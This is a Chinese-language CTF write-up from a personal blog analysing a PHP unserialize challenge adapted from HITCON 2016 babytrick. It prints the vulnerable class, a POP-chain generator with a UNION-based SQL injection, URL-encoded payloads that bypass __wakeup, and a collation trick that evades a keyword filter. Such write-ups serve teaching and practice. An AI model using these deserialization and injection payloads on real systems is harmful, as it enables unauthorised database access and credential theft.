Virtua1's blog

一道PHP反序列化题目分析

字数统计: 1.7k阅读时长: 9 min
2019/03/10 Share

是一道PHP反序列化的题目。
代码:

1
<?php 
2
include "config.php"; 
3
class TRICK{ 
4
    private $mayway; 
5
    private $aaaargs; 
6
    private $conn; 
7
8
    public function __construct($mayway, $aaaargs) { 
9
        $this->mayway = $mayway; 
10
        $this->aaaargs = $aaaargs; 
11
        $this->__conn(); 
12
    } 
13
14
    function display() { 
15
        list($fullnm) = func_get_args(); 
16
//       Here we go. 
17
        $sss = sprintf("SELECT * FROM users WHERE uname='%s'", $fullnm); 
18
        $yyy = $this->__query($sss); 
19
        if ( $yyy != false  ) { 
20
//           Your identity is... 
21
            $this->__die( sprintf("Ohhhhh,wwwwwelcome %s, %s!", $yyy->uname, $yyy->part) ); 
22
        } else { 
23
            $this->__die("What are you doing!"); 
24
        } 
25
    } 
26
27
    function enter() { 
28
        list($fullnm, $passwd) = func_get_args(); 
29
//       You need to enter! 
30
        global $ANS; 
31
        $sss = sprintf("SELECT * FROM users WHERE uname='%s' AND passwd='%s'", $fullnm, $passwd); 
32
        $yyy = $this->__query($sss); 
33
        if ( $yyy != false && $yyy->part == 'admin'  ) { 
34
//           Here is the flag! 
35
            $this->__die("Flag: " . $ANS); 
36
        } else { 
37
            $this->__die("You are not admin!"); 
38
        } 
39
    } 
40
41
    function search() { 
42
        highlight_file(__FILE__); 
43
    } 
44
45
    function __conn() { 
46
        global $hhhh, $name, $user, $pswd, $DDDD; 
47
        if (!$this->conn) 
48
            $this->conn = mysql_connect($hhhh, $user, $pswd); 
49
        mysql_select_db($name, $this->conn); 
50
        if ($DDDD) { 
51
            $sss = "CREATE TABLE IF NOT EXISTS users (  
52
                        uname VARCHAR(64),  
53
                        passwd VARCHAR(64),  
54
                        part VARCHAR(64) 
55
                    ) CHARACTER SET utf8"; 
56
            $this->__query($sss, $behind=false); 
57
            $sss = "INSERT INTO users VALUES ('ahhhh', '$pswd', 'admin'), ('Ahhhh', 'admin', 'user')"; 
58
            $this->__query($sss, $behind=false); 
59
        } 
60
61
        mysql_query("SET names utf8"); 
62
        mysql_query("SET sql_mode = 'strict_all_tables'"); 
63
    } 
64
65
    function __query($sss, $behind=true) { 
66
        $res = @mysql_query($sss); 
67
        if ($behind) { 
68
            return @mysql_fetch_object($res); 
69
        } 
70
    } 
71
72
    function __die($message) { 
73
        $this->__close(); 
74
        header("Content-Type: application/json"); 
75
        die( json_encode( array("msg"=> $message) ) ); 
76
    } 
77
78
    function __close() { 
79
        mysql_close($this->conn); 
80
    } 
81
82
    function __destruct() { 
83
//       Congratulations, it's almost the end! 
84
        $this->__conn(); 
85
        if (in_array($this->mayway, array("display", "enter", "search"))) { 
86
            @call_user_func_array(array($this, $this->mayway), $this->aaaargs); 
87
        } else { 
88
            $this->__die("Noooooo."); 
89
        } 
90
        $this->__close(); 
91
    } 
92
93
    function __wakeup() { 
94
        foreach($this->aaaargs as $ccc => $bbb) { 
95
            $this->aaaargs[$ccc] = strtolower(trim(mysql_escape_string($bbb))); 
96
        } 
97
    } 
98
} 
99
if(isset($_GET["ohhhh"])) { 
100
    @unserialize($_GET["ohhhh"]); 
101
} else { 
102
    new TRICK("search", array()); 
103
} 
104
?>

审计代码:
先看代码的最后发现了unserialize函数进行反序列化传入的ohhhh 参数,往上看是一个TRICK类,类中包含很多方法,发现enter()方法中要想得到flag,需要用admin登陆才可以,因此我们需要知道密码,display()方法中发现$fullnm参数没有经任何过滤直接拼接到sql语句中,因此可以用注入得到admin的密码,再找可以利用的方法,__destruct()方法中发现了可利用的方法,存在回调函数,因此可以利用回调函数来利用display()方法,再看一下数据库有关的信息,找到了数据库中相关表和字段的信息,另外发现__wakeup()方法需要绕过,POP链就可以构造了:

1
<?php
2
class TRICK{ 
3
    private $mayway="display"; 
4
    private $aaaargs=array("v' union select passwd,uname,part from users where uname = 'ahhhh'-- ");
5
    private $conn=0;
6
    }
7
$vv = new TRICK;
8
$data = serialize($vv);
9
echo (urlencode($data));

得到:

1
O%3A5%3A%22TRICK%22%3A3%3A%7Bs%3A13%3A%22%00TRICK%00mayway%22%3Bs%3A7%3A%22display%22%3Bs%3A14%3A%22%00TRICK%00aaaargs%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A69%3A%22v%27+union+select+passwd%2Cuname%2Cpart+from+users+where+uname+%3D+%27ahhhh%27--+%22%3B%7Ds%3A11%3A%22%00TRICK%00conn%22%3Bi%3A0%3B%7D

修改下payload绕过 __wakeup()方法:

1
O%3A5%3A%22TRICK%22%3A4%3A%7Bs%3A13%3A%22%00TRICK%00mayway%22%3Bs%3A7%3A%22display%22%3Bs%3A14%3A%22%00TRICK%00aaaargs%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A69%3A%22v%27+union+select+passwd%2Cuname%2Cpart+from+users+where+uname+%3D+%27ahhhh%27--+%22%3B%7Ds%3A11%3A%22%00TRICK%00conn%22%3Bi%3A0%3B%7D

就得到了密码:

然后再利用admin登陆下:

1
<?php
2
class TRICK{ 
3
    private $mayway; 
4
    private $aaaargs; 
5
    private $conn; 
6
7
    public function __construct($mayway, $aaaargs){ 
8
        $this->mayway = $mayway; 
9
        $this->aaaargs = $aaaargs; 
10
    } 
11
}
12
13
$aaaargs["uname"]="ahhhh";
14
$aaaargs["passwd"]="trickORtreat";
15
$vv = new TRICK("enter",$aaaargs);
16
$data = serialize($vv);
17
echo (urlencode($data));

得到并修改绕过 __wakeup()方法:

1
O%3A5%3A%22TRICK%22%3A4%3A%7Bs%3A13%3A%22%00TRICK%00mayway%22%3Bs%3A5%3A%22enter%22%3Bs%3A14%3A%22%00TRICK%00aaaargs%22%3Ba%3A2%3A%7Bs%3A5%3A%22uname%22%3Bs%3A5%3A%22ahhhh%22%3Bs%3A6%3A%22passwd%22%3Bs%3A12%3A%22trickORtreat%22%3B%7Ds%3A11%3A%22%00TRICK%00conn%22%3BN%3B%7D

得到flag:

这道题目是根据hitcon2016-babytrick改编的题目,原题还有个trick:

1
MYSQL 中 utf8_unicode_ci和utf8_general_ci两种编码格式,utf8_general_ci不区分大小写,Ä = A, Ö = O, Ü = U这三种条件都成立,对于utf8_general_ci下面的等式成立:ß=s,但是,对于utf8_unicode_ci下面等式才成立:ß = ss

原题代码:

1
<?php
2
include "config.php";
3
class HITCON{
4
    private $method;
5
    private $args;
6
    private $conn;
7
    public function __construct($method, $args) {
8
        $this->method = $method;
9
        $this->args = $args;
10
        $this->__conn();
11
    }
12
    function show() {
13
        list($username) = func_get_args();
14
        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
15
        $obj = $this->__query($sql);
16
        if ( $obj != false  ) {
17
            $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
18
        } else {
19
            $this->__die("Nobody Nobody But You!");
20
        }
21
        
22
    }
23
    function login() {
24
        global $FLAG;
25
        list($username, $password) = func_get_args();
26
        $username = strtolower(trim(mysql_escape_string($username)));
27
        $password = strtolower(trim(mysql_escape_string($password)));
28
        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
29
        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
30
            $this->__die("Orange is so shy. He do not want to see you.");
31
        }
32
        $obj = $this->__query($sql);
33
        if ( $obj != false && $obj->role == 'admin'  ) {
34
            $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
35
        } else {
36
            $this->__die("Admin only!");
37
        }
38
    }
39
    function source() {
40
        highlight_file(__FILE__);
41
    }
42
    function __conn() {
43
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
44
        if (!$this->conn)
45
            $this->conn = mysql_connect($db_host, $db_user, $db_pass);
46
        mysql_select_db($db_name, $this->conn);
47
        if ($DEBUG) {
48
            $sql = "CREATE TABLE IF NOT EXISTS users ( 
49
                        username VARCHAR(64), 
50
                        password VARCHAR(64), 
51
                        role VARCHAR(64)
52
                    ) CHARACTER SET utf8";
53
            $this->__query($sql, $back=false);
54
            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
55
            $this->__query($sql, $back=false);
56
        } 
57
        mysql_query("SET names utf8");
58
        mysql_query("SET sql_mode = 'strict_all_tables'");
59
    }
60
    function __query($sql, $back=true) {
61
        $result = @mysql_query($sql);
62
        if ($back) {
63
            return @mysql_fetch_object($result);
64
        }
65
    }
66
    function __die($msg) {
67
        $this->__close();
68
        header("Content-Type: application/json");
69
        die( json_encode( array("msg"=> $msg) ) );
70
    }
71
    function __close() {
72
        mysql_close($this->conn);
73
    }
74
    function __destruct() {
75
        $this->__conn();
76
        if (in_array($this->method, array("show", "login", "source"))) {
77
            @call_user_func_array(array($this, $this->method), $this->args);
78
        } else {
79
            $this->__die("What do you do?");
80
        }
81
        $this->__close();
82
    }
83
    function __wakeup() {
84
        foreach($this->args as $k => $v) {
85
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
86
        }
87
    }
88
}
89
if(isset($_GET["data"])) {
90
    @unserialize($_GET["data"]);    
91
} else {
92
    new HITCON("source", array());
93
}

我们注意到原题登陆处还存在一处过滤,不允许管理员账户登陆:

1
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
2
    $this->__die("Orange is so shy. He do not want to see you.");

但是我们注意到:

1
mysql_query("SET names utf8");
2
mysql_query("SET sql_mode = 'strict_all_tables'");

mysql的编码设置为utf-8,所以根据上边的trick,在将mysql的编码设置为utf-8的时候,Ä = A, Ö = O, Ü = U,,左右两边的字符是可以相互替换的。这样就可以将0替换为Ö这样就可以绕过上面代码的检测,同时还可以能够正确地执行SQL语句。

CATALOG